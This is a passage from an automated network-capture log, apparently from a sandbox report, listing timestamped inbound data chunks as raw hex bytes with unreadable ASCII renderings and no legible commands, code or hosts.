2021-10-12 07:38:07 UTC 135 IN Data Raw: 8f 72 05 39 10 50 33 4c a6 4d bf dd 0f 6c c7 b4 6b b3 ee 63 31 32 83 74 48 6f ce 64 8d 41 4b 20 53 c8 23 45 
4e 54 1f e7 c9 a6 8f 46 7c 95 ec 4e 54 63 4b f6 96 3a 53 e3 73 32 5d 81 76 ab 7e f0 a5 a7 a3 f1 d3 6e 19 a5 3b 18 9c c2 
3a c8 92 58 ba b2 38 0a 98 c3 71 8e 42 9a 7c ef 8e ca ec 71 e5 6f 0b a5 5c ed 07 90 53 92 84 4f 4b c5 f6 16 ba cf 3e cd 
db b6 e8 dd e1 d0 9a dd e4 fb 15 d9 97 df 5f 42 c0 44 08 87 4b 1b c0 20 e1 bf 27 3d 50 64 17 9f 68 6e 03 11 67 8e b0 c8 
02 21 c2 c6 8c f8 7c 46 5a fb 1b ea 54 44 c7 95 14 a9 fd e1 ad bf 6f 6c f1 27 ea 01 98 95 8b e0 3e 61 0c 2e f1 dc d3 f7 cc 
0d 78 dc 7b ea c0 13 26 07 56 fd 20 10 bf 86 a1 c2 d0 9a 50 a1 8a c3 7b af aa f6 00 45 a0 ef 00 5c c5 8b 8f 42 c3 9a 39 96 
e3 94 57 dd 86 39 45 8d 1e 05 cc ed 30 bc 9f 78 b7 
Data Ascii: r9P3LMlkc12tHodAK S#ENTF|NTcK:Ss2]v~n;:X8qB|qo\SOK>_BDK '=Pdhng!|FZTDol'>a.x{&V P{E\B9W9E0x

2021-10-12 07:38:07 UTC 136 IN Data Raw: ff cd 04 59 7b 0e bf b2 fd ce 84 a0 f4 01 af 5e 32 a0 2d 56 94 ce ac fc d2 4b 84 ac 04 d8 25 36 ea bc a1 32 e1 
f0 d3 bd 68 9c ee d9 c5 e3 03 3f 27 e7 d0 b2 3e 59 59 1d d0 5a 0a 07 ff 95 6d 74 7e 86 5e dc d5 6a 82 5b 0f 25 81 5e 02 
e1 8b f7 d8 be ad 39 47 c0 e2 3e 0f 68 a7 a3 1c 5a 54 d1 57 98 d6 46 14 db 4c e6 61 9e 17 22 be 73 46 4b 62 b3 d2 28 51 
ea 56 9a 88 4c eb a5 23 af 0c 0f e9 b2 2f 6c 1c 50 bb c1 a0 e5 3d 80 db 3c f3 bb 73 73 65 01 72 b8 61 f6 52 d0 61 55 48 
c3 4f c3 10 c8 ff 10 da 3d ae 4a 17 74 43 e9 85 ec f8 3e 7b e4 14 05 64 c2 ad a4 42 10 98 e1 e8 2d e5 af 20 22 2c e0 bb 
7e 7d 38 ae 85 9b a2 69 f8 8a 6c 02 e5 fb 84 63 9d 5f 76 79 01 35 87 2c b2 c7 75 c2 c4 61 82 59 96 d6 7d a0 ff 3b 65 b0 
c0 2b eb 59 da 23 d9 54 12 7c c3 fd d5 15 5b c7 62 9e 
Data Ascii: Y{^2-VK%62h?'>YYZmt~^j[%^9G>hZTWFLa"sFKb(QVL#/lP=<sseraRaUHO=JtC>{dB- ",~}8ilc_vy5,uaY};
e+Y#T|[b

2021-10-12 07:38:07 UTC 137 IN Data Raw: ed 90 99 9b 41 4f 1d 3b e4 21 45 d2 5b b4 88 76 87 cf 43 5c 18 cd 85 45 f9 6e c0 ac 31 71 6e 74 18 df df 84 bd 
7e f4 9a f6 8a dc d1 f4 3a a2 ac 40 25 82 3b cc b2 f6 6b a3 38 90 a6 c6 4e aa 62 12 57 69 f0 73 96 66 e1 4f 56 ab 74 c0 9f 
b5 78 aa 24 11 90 c5 f6 12 ba 95 2e cd db 33 e9 d8 de f4 ba 54 cf 7d 6b 60 1c c8 5b 62 9c 4c 20 aa d3 3e eb 18 41 e1 fd 
3d 50 60 17 f6 78 6e 03 94 51 8b 8f ec 22 b7 e9 40 f2 41 ee 51 5e db 40 f8 7c 69 5f b0 3f 91 5d bf 70 bf 6f 68 f1 ba f9 01 
98 10 8a e5 01 45 2c b9 da 5a ad 4e 6b 1a 7c fc 21 e2 e8 3e be 22 7d c5 80 4e 63 86 a1 c6 d0 38 43 a1 8a 46 41 aa 95 
d2 20 d1 8b 69 7e e5 6b 9c 8b 62 9a 95 11 bb 7b b1 7c e5 26 67 9a 8d 1e 01 cc 31 23 bc 9f fd b6 7b ba e1 1b e7 1e 41 62 
4e ce 2e f7 ef b9 cd 82 2a 4e e2 de 91 e1 76 e7 35 
Data Ascii: AO;!E[vC\En1qnt~:@%;k8NbWisfOVtx$.3T}k`[bL >A=P`xnQ"@AQ^@|i_?]pohE,ZNk|!>"}Nc8CFA i~kb{|&g1#
{AbN.*Nv5

2021-10-12 07:38:07 UTC 139 IN Data Raw: 6d 84 3a 10 d8 25 09 fe 8d 8c 30 fc de d4 39 16 03 c5 5f bf 5a 65 3e 23 c7 fe 96 13 4b e5 18 9a 49 2c 27 6b aa 
78 74 5e 8d 56 f4 f8 77 9e 75 08 a5 ff c1 29 63 f1 4e b1 bf a9 19 68 e4 cf 2f b3 6d e2 b3 3a 7a c1 9f 42 98 f6 6b 25 f6 4e f8 
4f 99 97 5c 21 58 c4 31 db db d3 2c 71 c6 72 b7 99 f0 ee e1 33 89 2c 99 be a7 2f 4c 3a 61 96 c3 bc cb 3a 00 a5 a3 d8 39 
09 ca 0e 00 76 98 4c d2 7f c1 dd 50 0f d3 69 e3 87 97 ea 10 fa 1d 9f 67 15 69 6d ee 05 92 67 15 f9 9e ad 6f 65 c6 8d 86 66
3d 89 5d ed 6b f5 89 00 ba 4b f5 bb 5e 22 09 83 87 8c 8c 6e 78 f4 f3 29 67 81 3d 0e 9c 5b 56 5a 25 18 96 90 b7 86 65 e4 
e4 f8 e9 4c 96 f6 21 91 d2 39 79 9e c7 ab 95 c6 f1 a1 a3 ed 7e 7d c7 dd f5 31 76 d6 de 9b 37 ec 23 aa 7a 42 4a 84 f1 0c 
7a 9c e7 bf b2 08 32 05 f8 a6 f3 39 d9 70 fe 
Data Ascii: m:%09_Ze>#KI,'kxt^Vwu)cNh/m:zBk%NO\!X1,qr3,/L:a:9vLPigimgoef=]kK^"nx)g=[VZ%eL!9y~}1v7#zBJz29p

2021-10-12 07:38:07 UTC 140 IN Data Raw: 6b 37 bf 17 51 c3 a3 02 df ff f0 85 56 d9 87 e6 a4 db 51 8a a5 89 2a 3a 9c 58 3a c8 92 e2 4f 8e 29 2c a3 30 5d 
8c 42 bc 53 72 f0 53 f5 59 cc 4d 49 a2 76 6f e3 2c 7f 80 a6 4f d5 c5 f6 16 00 3f 02 dc fd 89 10 f4 cc d2 ba dc d5 7d 6b 57 
be f2 59 62 85 6f 8a f9 48 3f ed 36 e7 42 65 3c 50 fe 12 4b 68 48 23 d3 75 a6 9d ea 0a 3c e8 40 e5 49 50 44 5e dd 75 69 
2a dd 5c b0 3d 9b 05 c0 e9 be f5 49 fc 3a de 21 46 8b af c8 33 6a 17 28 db 42 85 43 cf 0d 7a d6 b8 95 59 12 bc 26 5b 30 
07 30 fa 1d 84 ef e2 8c 62 7e 8b dc 64 a7 8c ef 00 43 95 62 56 e8 c6 8b 8d 48 03 e5 a0 97 79 b5 5a 2f a1 19 03 16 3b 28 
fe 84 02 5c 9e 67 93 76 be dc 3b 74 00 51 4a 43 71 39 f1 c5 20 bf 33 06 4c e6 f8 5a 62 08 7e ae 50 19 ea 1e 7f 51 c2 69 
0e e5 2b c6 ab 04 26 62 3e f8 1c a8 ea 52 87 93 29 
Data Ascii: k7QVQ*:X:O),0]BSrSYMIvo,O?}kWYboH?6Be<PKhH#u<@IPD^ui*\=I:!F3j(BCzY&[00b~dCbVHyZ/;(\gv;tQJCq9 
3LZb~PQi+&b>R)

2021-10-12 07:38:07 UTC 141 IN Data Raw: 6a 96 11 4b 7f 1d 13 47 0a 07 c3 83 55 76 7e 9f 65 72 86 f1 83 5d 21 87 fd c5 03 e1 15 f2 9d ad 8b 19 df e7 cf 
2f 09 e2 d3 a2 1c 45 7e b6 6f 9a d6 5d 16 74 30 7f 66 b4 91 7c 24 70 46 4f d8 ff fe 39 77 50 70 b5 99 6a eb 78 3e af 0c 33 
97 8a 2d 6c 04 52 10 bd 39 e2 17 06 85 a1 f0 bb 77 c9 2a 2d 60 9e db d7 7d c1 47 55 98 de 4f c3 2f 9d c2 3d d8 23 80 4d 
97 0a dc c2 07 96 41 3a 79 e0 34 f4 40 ef bc 18 47 38 8b c7 c8 66 21 b3 20 02 51 dd 96 7c 67 16 a9 01 e5 3d 42 7a f0 d5 
05 e7 ff a4 95 b9 72 64 c5 04 1e 94 0a 92 8b be de c4 41 f7 40 be fb 65 88 d4 13 e3 c8 73 a8 95 c4 fb 24 df 74 7f e7 e6 d0 
5d 16 56 d1 46 be 1a dd d3 96 c0 43 55 92 f9 6d 61 9c e1 88 18 5b a9 04 fe 88 51 4f 42 71 fe ff 9f b7 dc 20 ed be 9f 29 bf 
b5 17 11 87 1a 0e 8d 1d 85 ef e6 3d c4 4a 98 
Data Ascii: jKGUv~er]!/E~o]t0f|$pFO9wPpjx>3-lR9w*-`}GUO/=#MA:y4@G8f! Q|g=BzrdA@es$t]VFCUma[QOBq )=J

Timestamp
kBytes
transferred Direction Data
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2021-10-12 07:38:07 UTC 143 IN Data Raw: 83 3b 52 b7 55 78 85 18 22 81 eb 5c ac aa 82 56 69 ef 0b c5 5c e3 4f 4f 8e da 93 04 b4 7e 84 82 46 0b c4 f6 8c 
bf 37 3d eb fb 80 ce f5 cc f2 da c4 ce 7d 74 3a be f2 59 62 85 6f 8e f9 48 3f ed 36 e7 b5 66 3c 50 fe 12 4b 6b 48 23 24 76 
a6 9d ea b8 38 e8 40 ed 39 55 6b 5c db 59 c1 d2 3a c4 b1 39 bf fb ea eb be 6f f6 f4 06 ea 27 b8 a1 ad c8 13 43 1e 08 db 
5a b2 36 e5 20 7e fc 38 c1 42 6d 25 23 7b eb 26 1c f8 87 a1 58 d5 87 53 87 aa f0 66 87 87 d4 6a 63 8a 69 65 ed e9 89 8b 
64 af 1d 47 0f 78 b1 7e ef 8d 1b 03 8c 84 20 c1 b0 04 9c b2 65 93 56 88 a8 1b 74 1f 5e 6f 46 5e 3b f7 e9 8c 47 d4 9e 4d 
e2 dc 9b 4d 0a 7e 34 ef 11 d5 2a 79 90 ed 6b 0e c5 2d a1 8b 04 39 5e 1b fd 33 aa ec 7e 2f 6b ce bc 19 49 64 06 42 34 60 
96 0c 83 ee ac 90 64 a0 46 39 cc 35 d5 73 91 4e 48 
Data Ascii: ;RUx"\Vi\OO~F7=}t:YboH?6f<PKkH#$v8@9Uk\Y:9o'CZ6 ~8Bm%#{&XSfjciedGx~ eVt^oF^;GMM~4*yk-9^3
~/kIdB4`dF95sNH

2021-10-12 07:38:07 UTC 144 IN Data Raw: 5e 02 e1 8b f7 ff bd ad 39 47 c0 e2 3d 0f 68 80 a0 1c 5a 54 3a 60 98 d6 44 37 de 63 e4 67 b2 bf da 59 eb 47 4f 
46 fa 83 2a 51 70 e9 92 b4 78 ed ec 72 ad 0c 2f 9f 08 0d 6c 02 67 b2 eb 8d e1 17 04 8f 23 8c 22 76 53 0b 20 23 ba fb d3 
e5 e4 6a 67 04 e2 1e c1 30 96 ca c3 f8 23 86 78 1e 5c 68 c1 07 94 4b b9 05 79 35 6e 61 e2 ff 3c 67 3d 13 e2 e5 54 c2 8f 
72 00 4a f5 9b a0 45 10 83 98 81 8c 6e 78 f4 f3 29 63 81 3d 0e 9c 5b 56 b0 26 18 96 90 b7 86 66 e4 e4 12 ea 4c 96 f6 9f 
aa d2 39 7a ae c2 84 97 c0 dd 09 5b 0a e6 7c c3 f9 6f 64 74 d6 44 24 3f d0 17 ac e0 17 48 84 d1 60 73 bf e7 a2 85 31 18 
28 fc 8c 77 6d c2 0f 67 64 ba 9e ed 53 cf b6 9d b3 9a b8 ea 2b a7 4f 12 a5 30 a7 cb c3 17 42 2a 29 93 af 8b 8a 9d aa 81 
ae 8e 63 d7 85 7f 19 43 2d df d2 56 e8 52 72 09 78 60 
Data Ascii: ^9G=hZT:`D7cgYGOF*Qpxr/lg#"vS #jg0#x\hKy5na<g=TrJEnx)c=[V&fL9z[|odtD$?H`s1(wmgdS+O0B*)cC-VRrx`

2021-10-12 07:38:07 UTC 145 IN Data Raw: 43 e1 b5 98 7c 80 a4 45 8f ba 6f 17 9a 1e 0f bb d9 a9 cc 6f e9 ff 88 fd ee 0b 69 40 96 ff a0 46 83 45 17 8c f9 13 
ef 32 c1 b5 e2 42 c9 65 37 62 59 19 01 0e 74 3c b8 e7 10 01 c8 37 f0 61 7d 66 58 fe 5f eb 4b 54 75 9d 3b bb dd eb 6f c0 
f6 6d d1 2f d8 79 9a 8a af 52 36 4e 1e 0e fb 22 af 6e cd 2d 6a d9 3e eb df 32 94 0f 79 ef 00 1a 7c f9 38 c3 f0 ae 62 d8 88 
dc 64 1d a2 d9 12 65 aa 10 7c c5 c4 ab bc 47 85 9b 26 9f 51 9c 78 cf a6 33 85 f2 87 04 ec a6 02 c6 9d 67 93 cc 8d ea 29 
52 3f 3b 60 6e 73 19 b7 ca a6 c1 b5 26 64 cf da bb 65 22 f8 4a ec 35 f8 3c 7f cb c1 69 0e 5f 28 f0 b9 22 19 3a 14 d5 1e 88 
8d 5d 05 ed af 0d 30 64 62 26 6b 1c e2 e8 0f a7 c3 ba 96 38 8d 44 39 56 30 71 42 b7 6e 2b 24 39 df 26 95 f2 c2 9d 81 d0 
68 43 1a 0c 93 66 e2 28 97 85 de 3a 18 99 ad 
Data Ascii: C|Eooi@FE2Be7bYt<7a}fX_KTu;om/yR6N"n-j>2y|8bde|G&Qx3g)R?;`ns&de"J5<i_(":]0db&k8D9V0qBn+$
9&hCf(:

2021-10-12 07:38:07 UTC 146 IN Data Raw: dd ff 28 f7 db 3c 67 de d9 44 e4 9f 1d a8 25 8f f2 3a dc a8 b0 d2 23 a5 8b ab 5f 17 85 15 f1 20 6a 86 52 e6 fb 0f 
4c 1d ab 43 9e f0 4b 1a 1a 05 0c fb ec b0 f9 ac cc 4d 00 13 53 06 68 c6 57 12 7b ed 86 cf 67 1a b3 cc 85 5a 75 63 c0 bc 
17 57 c9 f3 66 46 fe ef ae 5e 7a 87 e6 a2 6b f6 d9 2e ae 0a b0 be 83 3b e8 ee 5e 6a a3 27 1f ab c6 5e 8c 44 b6 d4 17 69 
52 ed 75 c1 c0 4b a4 5c 77 b8 98 6f a6 82 e0 0b c4 f6 36 0b 3c 2f cd cc 81 e1 f7 cc d4 b0 59 b0 e4 6a 40 92 ff cb 60 83 45 
92 a2 fc 2f cb 12 57 9d 64 3c 70 f6 11 66 79 76 2b 23 76 a6 9b e0 80 59 71 41 f2 65 5d d7 5c db 5f 71 71 69 4c 96 19 2a 
d9 c1 e9 9e fb 4a d1 2b ef 29 b5 88 af ce 39 e1 72 b1 da 5a a9 4e 5f 0f 7c fc a4 ce ed 02 9a 02 e9 ed 06 30 da 12 87 c2 f0 
b2 6a 8c 88 dc 62 ad 05 8a 99 42 8a 6d 5e 56 
Data Ascii: (<gD%:#_ jRLCKMShW{gZucWfF^zk.;^j'^DiRuK\wo6</Yj@`E/Wd<pfyv+#vYqAe]\_qqiL*J+)9rZN_|0jbBm^V

2021-10-12 07:38:07 UTC 147 IN Data Raw: aa 9c ec d9 06 79 d7 3d 88 84 bf dd 21 f9 9d de bd e5 ab 84 a6 0b 74 7e 94 d0 cf 04 7f c8 af c1 2b e3 d6 a8 ad 
90 00 a9 74 2e fb 99 45 b2 ea ea 49 d0 4b a4 13 34 f5 37 0f d3 20 8e 30 e1 d6 48 1c 16 05 f0 d4 e9 ee 66 3e 21 cd c8 e9 
8a 4a 7f 39 97 ee 08 07 df 31 5d 59 6f bf 6f 41 fa 68 82 7d 9b 80 ff c7 1a c9 a2 d5 b0 b9 87 bb a3 7c ce 2f 2d 68 79 a0 1c 
5a ee bb 6f 89 f0 7b 8a f4 4e e6 47 75 b2 5c 27 6b 6e 62 40 da d5 02 d7 0e ea b6 99 6e eb 7b 20 af 0c b5 9a 8a 3d 4a 22 
cf 94 c3 a0 c3 d3 25 a5 a5 ed b2 5f 7e 0d 00 74 92 79 ad e6 c0 47 71 02 7a 4d c3 30 0c cf 3d cb 05 a6 df 17 74 45 e3 ca 
b5 61 3f 65 c8 19 6c 65 c4 87 b8 19 a4 88 c7 cc 66 5d ad 20 02 d0 d0 96 6c 41 30 3a 85 9b a4 63 af d3 f5 03 fa f3 8c 22 
9e 5f 70 c9 a2 66 0f 0b 92 af 54 78 c6 41 e8 d6 b3 
Data Ascii: y=!t~+t.EIK47 0Hf>!J91]YooAh}|/-hyZo{NGu\'knb@n{ =J"%_~tyGqzM0=tEa?elef] lA0:c"_pfTxA

2021-10-12 07:38:07 UTC 148 IN Data Raw: 8c 72 05 83 f8 57 22 6a 99 53 96 f0 0d 4c 04 8f ed cd 6b 4a 1c 34 a3 a8 60 ed b0 67 a9 6c 5d 26 33 13 21 45 
d4 51 dc dc ef 86 d0 4e 54 b8 ce 85 43 49 cd 93 27 16 51 e7 55 c3 dd ff ef 30 5b d9 97 c0 82 2a d1 f4 3c a8 dd 14 bc 83 
24 c2 ba 55 68 a3 3e 20 05 95 c5 8d 42 98 76 b5 f2 53 ed eb c4 62 5b 82 7c 31 9f b5 7e a0 a3 44 09 c4 e9 32 b2 37 2d cd 
dd 83 4a 8b 55 d3 9a df ee a0 69 40 96 45 7e 4f 91 63 28 5a d3 3e ed 12 e2 b4 64 3c 4f 6d 1f 4b 7b 6e 05 24 f2 d8 04 cb 
02 23 c8 9e f0 61 7d dc 7b f6 4d cd 74 9a 5f b0 39 9b f5 ea e9 be 70 67 f9 06 fa 01 9e a0 29 b6 8a 62 0c 2c fb 85 af 6e cd 
97 59 d1 2c cd e0 cc be 22 7b cf 3f 1b fa 87 be cd d8 87 40 a1 8c f6 e2 f9 1e f5 00 47 aa 89 7c c5 c4 11 ae 4f 97 bd 19 76 
7b b1 7a ef e8 32 03 8c 01 09 c4 8f 20 bc 99 4d 15 
Data Ascii: rW"jSLkJ4`gl]&3!EQNTCI'QU0[*<$Uh> BvSb[|1~D27-JUi@E~Oc(Z>d<OmK{n$#a}{Mt_9pg)b,nY,"{?@G|Ov{z2 
M

2021-10-12 07:38:07 UTC 150 IN Data Raw: 48 ea 29 4d 77 a8 c1 28 fc ce a0 61 be 00 af 41 a6 ad 2d 46 b2 e8 e0 7b ac d2 a5 89 15 f8 24 2a f3 94 16 15 cc 
e4 df 1b 17 06 ef d9 e1 2c 48 3e 27 f8 40 bf 3e 49 7f 3b 9d d9 74 9e de ab 7c 54 7c 9a 4f f4 62 4d af 4c 03 87 fd c4 03 e1 
af 2e 9c bf ad 27 f5 c8 cd 2f 2f 62 49 dc 85 5b 74 9a 62 9b d5 5b 3c 6c 6b cb 75 92 b5 5f 24 72 46 6f 43 f7 d3 28 4e 61 5b 
9a 9b 6a cd e6 a4 d1 95 2e bf a3 0f 68 01 78 96 59 85 ce 05 24 85 a1 f1 bb 77 73 1d 2d 72 b8 e4 c2 57 ec 45 75 24 e8 c9 
bd a9 97 ea 14 fa 26 85 67 15 ee 60 ee 15 b4 41 3a 78 e0 34 4e 46 ef ad 3e 78 32 a1 ea ca 46 e2 85 a6 7c d3 f4 bb 7a 47 
16 80 87 9b 3e 66 57 e6 d3 23 e3 fc a4 0f bc 6d 5b e3 24 07 99 22 bf a9 74 c4 ee c3 96 d5 97 d6 63 a8 d5 3a 65 b6 70 8c 
b8 d1 fd 03 da 77 7f 7d e3 bc 62 30 76 c8 6c 93 
Data Ascii: H)Mw(aA-F{$*,H>'@>I;t|T|ObML.'//bI[tb[<lku_$rFoC(Na[j.hxY$ws-rWEu$&g`A:x4NF>x2F|zG>fW#m[$"tc:epw}b
0vl

2021-10-12 07:38:07 UTC 151 IN Data Raw: 81 8a da a8 60 23 78 68 d6 ee bf 37 a9 e5 77 20 44 00 b8 ac 53 24 71 a4 8a b4 15 52 8e c5 7c 8f f7 22 01 7f 
4c a1 2d 02 61 77 2a 29 12 d1 62 d5 c0 51 72 f5 28 79 9a ce 6b e0 c4 75 19 ac 7c a9 6f 87 b5 23 8d 24 cb 2a f4 d9 26 c4 
24 0a 23 eb 14 6d c1 a4 08 74 95 5e 97 bd 1b 4e 3d 1f 79 43 6c 07 47 55 e5 f8 d6 12 5a fd c0 28 ed b2 21 72 9d 00 8b 6e 
2e f1 b8 c7 e2 b2 93 cb c7 b8 b6 fb 18 3d 7c b7 98 4d ff 49 c0 3e 00 17 95 14 eb 12 19 1a f4 36 f6 92 81 e3 ef 38 27 a2 5e 
8d 72 fb 99 f5 8f 4e 3e 06 77 9b 02 cb 5b f9 2b 1a 87 5f 8a fc 5c d3 44 09 8d 7a 41 cf f4 cd b6 82 ee 03 e8 f1 a2 11 ac b1 
ae 59 79 84 66 39 d5 d3 9d 9e 2f af b0 63 9a 72 ec 6d d9 8f 11 1e 87 40 34 f1 b2 35 f5 cf 55 8a 4c ac c7 05 5a 25 28 62 40 
52 11 8f 8c a9 d3 aa 35 64 cb cc 81 56 34 1a 4b 
Data Ascii: `#xh7w DS$qR|"L-aw*)bQr(yku|o#$*&$#mt^N=yClGUZ(!rn.=|MI>68'^rN>w[+_\DzAYyf9/crm@45ULZ%(b
@R5dV4K

2021-10-12 07:38:07 UTC 152 IN Data Raw: be 42 41 c0 15 fe e5 61 40 5a fb 19 0c 0a d5 fd f3 30 00 1b 0f a4 e5 f4 3f 9b 51 c1 96 aa d5 55 aa e7 fd 35 57 
ba ad b6 54 8a 06 1a 9c 48 89 fe 60 50 6a bf 58 3d 6b 35 26 2a a9 61 4c 46 bb b9 e5 7e 1c bd fc c9 34 ec 37 61 e6 98 58 
ed 42 d6 13 0c f8 89 cf ff e1 fc 72 57 bf c1 e6 d4 02 38 ec 5e 45 bf 30 86 a0 30 13 89 da a1 f9 2f 66 00 63 4e 4c ff dc 8b d7 
34 0c 48 65 06 c9 aa 91 39 94 1c 20 7f 97 5d de 7f c6 ac 53 8c 66 c0 05 73 0d 75 e8 2f bb 4f 10 57 b8 45 08 17 ad ca 54 
06 02 b3 8c b1 2c 89 c7 53 6d 3c dc 8b 2e 01 77 fb fb 92 ae 5f 7a f5 f4 55 a8 c8 95 23 c7 6c 62 e2 33 0c 8c 1f 8e ef 5b df 
ca 40 ec 53 95 c4 2a bd d7 03 42 97 c0 86 ae e5 f9 0f a4 64 69 64 84 c9 7f 18 4e e6 7c 93 2c cf 3f 98 f0 60 7e be e3 73 57
58 2f 6f 1d e8 f0 c4 10 7d 97 c9 d9 e1 61 
Data Ascii: BAa@Z0?QU5WTH`PjX=k5&*aLF~47aXBrW8^E00/fcNL4He9 ]Sfsu/OWET,Sm<.w_zU#lb3[@S*BdidN|,?
`~sWX/o}a

Timestamp
kBytes
transferred Direction Data
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2021-10-12 07:38:07 UTC 153 IN Data Raw: a8 1b 1d f4 bf 09 9d ee 67 47 57 02 d7 08 7b 4c 09 41 7e 1f eb 2a c0 96 06 0f bf 4e 0f a8 b9 29 ba 86 14 2b de 
05 c9 17 c1 ae 29 88 24 bf 7c d2 82 60 8d 23 17 05 bc 09 6b 8a a4 63 51 ac 6b ea 84 60 76 1d 2d 50 64 7a 30 73 28 87 
91 ae 79 61 e7 86 66 b7 e7 2a 40 dc 45 24 c3 d1 22 7c 0b 76 26 22 35 20 56 08 30 ed d4 9f 4b 22 f3 5d fd 6d 22 15 5b dd 
4c e3 18 36 5f c7 0e 9c b4 a0 88 c6 5c 52 b4 44 97 73 bf ed c5 be 67 09 28 14 e7 76 80 1e bf 2b 5b c8 17 84 93 41 aa 76 
3d e7 06 32 e3 db fe c4 fe a2 51 e5 8c c9 73 90 8c b7 5d 1c c7 2b 6f d4 83 cb de 28 8b 97 4b a3 0c d0 53 ec 83 2f 7e f0 39
2c c5 92 47 85 ab 53 a5 7a ca b9 45 16 7c 73 52 0e 12 4f 9c 3e 4b 58 33 d4 df 61 13 76 ae dc e1 ae b4 ff 33 f6 c4 6b 15 
bb de 0b 8d 4d 3b 84 b8 95 c0 57 9d 00 59 8b ca 52 0e 
Data Ascii: gGW{LA~*N)+)$|`#kcQk`v-Pdz0s(yaf*@E$"|v&"5 V0K"]m"[L6_\RDsg(v+[Av=2Qs]+o(KS/~9,GSzE|sRO>
KX3av3kM;WYR

2021-10-12 07:38:07 UTC 155 IN Data Raw: ba 0f 96 c2 fb b6 07 c1 86 89 49 2e e9 f3 ea 0e dd 61 71 f4 24 d5 bb 37 77 50 86 20 4e 57 76 7a 17 83 73 5f 67 
c1 b5 f0 63 02 b3 ff e9 14 ea 3f 72 ed c7 7d e3 59 cc 0d 6a eb 9a c1 e5 e0 e5 7a 63 66 25 33 3f e0 94 7c c4 c6 2f a5 12 20 
ba df 4e 33 5f 21 da 91 eb 83 66 5f f1 fc ad ad 04 06 4e 6b 25 fc 9d ba 19 a3 6a 33 40 b6 2f 99 70 fd 80 6d ad 5e c3 3a 62 
1a 37 bc 71 de 25 5a 09 86 01 40 6f de a5 0c 64 3e 83 cc c5 55 c8 a8 2d 09 5d c2 a9 68 71 1c ce bd d7 97 06 3f b5 b7 59 
a1 bc da 75 f9 22 0c ef 2e 78 ec 0b 90 df 1f b6 b6 35 80 53 f6 b9 0c 91 bc 21 02 b2 d3 96 a7 f8 f8 05 57 8c b2 b7 18 20 86 
bd 9a 1a 90 7a 8f 19 e2 6b 4f cc cb 04 42 c7 e8 60 6d 3c 1e d6 b7 82 67 78 c9 fd fd d5 46 da 0e 2f 77 bd 09 73 28 ec 0e 
25 36 ff 71 e7 e1 4d df 3a 2a 16 e5 f3 f2 f7 
Data Ascii: I.aq$7wP NWvzs_gc?r}Yjzcf%3?|/ N3_!f_Nk%j3@/pm^:b7q%Z@od>U-]hq?Yu".x5S!W zkOB`m<gxF/ws(%
6qM:*

2021-10-12 07:38:07 UTC 156 IN Data Raw: 0c a6 5d 0b e5 f9 69 ee d7 12 61 b9 3f bc 7e a3 f8 1d cc 03 ed 0c a1 af 3d e4 44 2a 1b d3 3a 1a d3 af 76 08 a3 
2e ac 8e 6c 9e e4 8d b0 8e bb d7 9a 87 31 25 41 f2 8a 10 30 ca 1b 42 cd 9b 60 a3 7b a5 de 3b 6b 0f 3f 66 6e 5b 3e 4a 2a 
00 99 bc fe 5c 0b b4 6f a9 4d 50 01 25 a3 2c 97 24 3f 7c 85 70 e9 e6 aa cf 84 42 25 94 1c be 45 ab ce ea f9 02 65 18 3d 
d4 53 ae 78 99 1f 6a ec 1c d7 d0 0f b9 22 26 f3 11 2e e2 ae 88 e5 d9 94 7f 9c a5 e1 47 b7 b4 de 23 7d fe 41 45 ed e8 b7 
a7 62 a9 a7 18 b6 59 88 5e f9 87 29 f6 54 d7 c0 36 30 a6 3f 16 ed 5e 96 7d 14 fa a3 fa 8a bb a4 be f6 23 20 75 01 7f e9 8a
37 07 6a 8f b1 a9 cf 94 ce 1a d1 ae 0e 6b c6 a3 6b fc 2b 54 c0 cc b9 fb 3e e7 47 21 9b f4 0f 55 c2 e4 ae eb be e0 e2 a6 57 
51 62 7d 3c 35 c6 06 d6 b3 5d 9d c4 d8 05 c4 d8 
Data Ascii: ]ia?~=D*:v.l1%A0B`{;k?fn[>J*\oMP%,$?|pB%Ee=Sxj"&.G#}AEbY^)T60?^}# u7jkk+T>G!UWQb}<5]

2021-10-12 07:38:07 UTC 157 IN Data Raw: 76 e7 06 27 7c 01 14 1e 87 60 5a 21 c2 d0 ef 69 18 42 1e 3f d8 00 89 c6 18 7f b8 0b f9 7d bc df 18 70 2c 40 4a 
0c 84 9c 66 14 2c 31 e2 91 61 d0 89 49 d7 77 51 de da 47 5f 50 12 f2 a5 cf 8a 4f 54 d2 df 98 d6 2f 18 43 41 23 c7 82 a7 
07 a2 73 52 66 99 7b ec 3f 8f e9 0f d1 34 83 75 2f 42 54 cf 1e 82 39 05 6a f1 26 76 74 c5 81 13 42 27 9c c0 f6 4b f8 b6 32 
0e 6a d1 9c 53 53 71 f7 ee ef bd 5f 40 da c3 2f d3 d7 9c 2e 93 5e 52 dc 10 27 e3 e3 56 6d b3 09 08 99 19 c4 1b 0e ab 42 
49 cd a1 7f 22 66 43 0c 00 a1 5c e9 9c ac 01 38 8f eb b1 38 f1 0a dd 12 e7 63 73 fd e6 4a 31 ab 81 26 31 55 60 cf dd dd 
35 40 b0 9c a3 92 18 9a 59 6d 30 b0 71 0d 2b 81 04 29 4a bc 0d 8e 94 30 8b 14 79 45 8a ce bd d1 28 3f 1f 36 0b 8f 5a 94 
31 d3 76 38 a6 84 d9 bc cc 6f e6 68 e0 d6 a3 f7 c2 
Data Ascii: v'|`Z!iB?}p,@Jf,1aIwQG_POT/CA#sRf{?4u/BT9j&vtB'K2jSSq_@/.^R'VmBI"fC\88csJ1&1U`5@Ym0q+)J0yE(?
6Z1v8oh

2021-10-12 07:38:07 UTC 159 IN Data Raw: 03 ab f6 c1 0b f6 a5 1b 4d 8d be 59 cc 56 74 a2 ab cf af e5 ad 85 de 9c 8c 18 12 2c cc 9c 00 3e ae 14 6e f5 a6 
5d 98 79 b7 f1 13 4b 26 11 60 31 21 25 4f 5d 30 e2 d8 9b 59 19 dc 7d c8 4a 40 76 60 d6 5a ff 42 43 48 b1 00 80 c5 cb ff 
a6 7f 68 f0 1f e4 09 84 9d b1 d0 36 5b 22 16 fb 71 95 67 f8 2a 5c c9 0b cc e5 3b 9c 30 6b f2 06 31 e6 8e ae c2 e6 b4 47 a8
88 db 74 7f 70 0f c6 8b 51 b2 b2 15 02 77 6b a1 50 50 fa 43 ba 55 85 1e 67 c8 df 57 c1 e9 0b 27 bb 39 6c 82 60 b3 40 20 
